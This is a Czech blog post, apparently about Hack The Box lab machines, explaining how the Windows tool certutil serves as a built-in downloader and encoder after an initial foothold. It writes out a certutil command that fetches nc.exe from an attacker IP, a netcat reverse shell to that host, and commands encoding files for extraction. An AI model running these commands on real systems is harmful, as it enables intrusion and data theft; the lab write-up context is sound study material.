tom@home.htb:~$

Blog o HTB

28 November 2019

certutil

Úvod a kontext

certutil se v tomto projektu neobjevuje jako nástroj pro certifikáty, ale jako praktický Windows LOLBin pro doručení dalších souborů nebo pro jednoduchou práci s daty na hostu. Je cenný právě proto, že už na Windows často bývá přítomný a není potřeba na kompromitovaný stroj nejdřív dostat další downloader.

Na Develu stahuje nc.exe, Sherlock.ps1 i Meterpreter payload. Na RE je součástí dokumentového řetězce, kde makro přes certutil stáhne nc.exe. Na BigHeadu slouží nejen ke stažení webshellu, ale i k zakódování dat z ADS a obrázku. Na Bankrobberu se přes něj stahuje nc.exe v okamžiku, kdy admin browser spustí příkaz na localhostu.

Co certutil v praxi řeší

V místních rozborech řeší certutil hlavně tři věci:

Právě to je jeho praktická role. Není to “exploit”. Je to velmi pohodlný pomocník po footholdu nebo po command injection.

Nejčastější scénáře využití v tomto projektu

Stažení pomocné binárky po prvním kódu na hostu

Na Develu je use case velmi čistý. FTP upload webshellu dá první command execution, ale ten je potřeba rychle změnit na stabilnější shell:

certutil.exe -urlcache -split -f http://10.10.14.5:8000/exe/nc.exe c:\programdata\nc.exe
c:\programdata\nc.exe -e cmd 10.10.14.5 4000

To je přesně typická praktická role certutilu:

Na stejném hostu pak stejnou logikou stáhne i Sherlock.ps1 a další payload.

Doručení payloadu přes interní automatizaci nebo browser

Na RE je certutil součástí makra v .ods dokumentu. Makro samo o sobě neřeší shell až do konce; využije certutil pro stažení nc.exe a tím vznikne stabilní reverzní spojení. Na Bankrobberu zase admin browser na localhostu vykoná příkaz, který pomocí certutil stáhne nc.exe do c:\\windows\\temp\\nc.exe.

To je důležitý pattern:

Zakódování a vytažení dat

Na BigHeadu je hezky vidět i druhá praktická role certutilu: ne jen stahování, ale práce s daty.

certutil -encode root.txt:Zone.Identifier foo.txt
certutil -encode c:\Users\Administrator\Pictures\admin.png key.txt

Tady už nejde o delivery payloadu, ale o jednoduché zakódování vedlejších artefaktů do podoby, se kterou se dál snadno pracuje. To ukazuje, proč je certutil dobré vnímat jako širší post-exploitation pomocný nástroj, ne jen downloader.

Kdy je certutil nejlepší volba

Největší smysl dává tehdy, když:

Je praktický hlavně proto, že snižuje množství dalších závislostí. Není třeba spoléhat na PowerShell download cradles nebo na to, že je na hostu dostupný jiný nástroj.

Co certutil neumí vyřešit za vás

certutil:

Na Develu jeho hodnotu vytváří až ASPX webshell. Na RE až automatické otevření dokumentu. Na Bankrobberu až XSS a localhost command execution. certutil řeší transport nebo manipulaci s daty, ne původní zranitelnost.

Nejčastější chyby při použití

Čtení certutilu jen jako downloaderu

V projektu je sice nejčastější právě stahování souborů, ale BigHead ukazuje, že stejná binárka je užitečná i pro kódování a práci s vedlejšími artefakty.

Ignorování toho, že jde o LOLBin

Právě proto je z obranného pohledu důležitý. Když útočník použije legitimní systémovou binárku, nemusí se na hostu objevit nic nápadného kromě samotného procesu a síťového spojení.

Záměna za finální řešení

certutil obvykle jen doručí další krok:

Jeho hodnota je praktická, ale mezikroková.

Nejčastější praktické scénáře

Mám command execution na Windows a potřebuji stáhnout binárku

To je Devel a Bankrobber.

Mám dokumentový nebo browser-based vektor a potřebuji z něj udělat stabilní shell

To je RE.

Potřebuji na hostu rychle zakódovat nebo vytáhnout vedlejší data

To je BigHead.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

HTB Stroje

Techniky

Nástroje

tags: nastroje - windows - lolbin - file-transfer - encoding - post-exploitation